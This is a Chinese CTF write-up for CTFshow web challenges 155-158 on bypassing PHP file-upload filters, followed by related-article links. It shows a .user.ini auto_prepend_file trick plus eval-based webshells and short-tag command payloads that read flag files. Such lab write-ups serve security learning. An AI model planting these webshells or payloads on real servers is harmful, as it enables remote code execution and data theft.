CTFshow web(php文件上传155-158)

web155

老样子,还是那个后端检测。

知识点:

auto_append_file 是 PHP 配置选项之一,在 PHP 脚本执行结束后自动追加执行指定的文件。

当 auto_append_file 配置被设置为一个文件路径时,PHP 将在执行完脚本文件的所有代码后,自动加载并执行指定的文件。

这个配置选项可以用来在每个 PHP 脚本的结尾处执行一些共享的代码逻辑,例如清理工作、记录日志或执行一些全局操作。这样,就不必在每个脚本中显式编写和调用相同的代码,而是通过配置 auto_append_file 来实现统一的处理。

使用方法如下:

打开 PHP 的配置文件 php.ini。

找到 auto_append_file 配置项。

将要追加执行的文件路径设置给 auto_append_file 配置项,例如:

auto_append_file = "/path/to/your/file.php"
保存文件并重启 PHP 服务。

在接下来的 PHP 脚本执行后,指定的文件将会被自动加载和执行。

实战:先上传 .user.ini 文件,里面写入

auto_prepend_file=111.png
(#上传时是 .user.png ,抓包修改为 .user.ini)

然后创建一个111.png文件,里面写入一句话木马<?php @eval($_POST"x"); ?>

之后访问/upload/

这里发现在上传111.png时不行,看来是被过滤了,那就换个 <?=`tac ../flag*`木马就好了

<? echo 123;eval($_POST'x'); ?>

web156

还是上面的套路,只是在我尝试<? echo 123;eval($_POST'x'); ?>时\[\]又被禁止了,这里直接换成短标签木马:

<?=`tac ../flag*`

或者直接把\[\]换成{}也是可以的

其他还是不变

web157

其实不就多过滤了{}这个而已嘛,直接短标签木马上去就好了嘛

其他都和最初155一样

<?system('tac ../f*')?>

web156

上面的<?system('tac ../f*')?>还可以继续白嫖,那么这里我也不测试这道题目比之前多过滤了什么

真诚希望我的文章能够帮助大家,谢谢!

相关推荐
老王IT17 小时前
Rust开发环境搭建教程
开发语言·后端·rust
vipxieliang17 小时前
PHP 生命周期与 PHP-FPM 工作模式:从 Nginx 到 PHP 执行完毕的全链路剖析
php
程序猿乐锅18 小时前
Streamlit 实现 AI 聊天 Agent:角色提示词、流式输出与会话管理
开发语言·前端·笔记·后端·python·学习
小南知更鸟18 小时前
【2026 年 Python 包管理工具选型:从“工具崇拜”回到工程约束】
开发语言·python
努力努力再努力wz18 小时前
【Lua入门系列】从动态类型到变量作用域:彻底理解 local、全局变量与跨文件访问
开发语言·junit·lua
程序猿乐锅18 小时前
面向对象练习:图书借阅系统里的封装、抽象类与多态
开发语言·前端·数据库·后端·python·学习·1024程序员节
xyouyuweizhu18 小时前
Java IO 流详解:流的作用、流的划分与标准输入输出流
java·python·php
沐晓时光18 小时前
C语言入门,深入理解指针(6)
c语言·开发语言
略略略咯咯19 小时前
33333
开发语言·windows·python
垆边人似月.19 小时前
第三篇:函数、文件与异常处理 / Functions, Files & Exception Handling
开发语言·python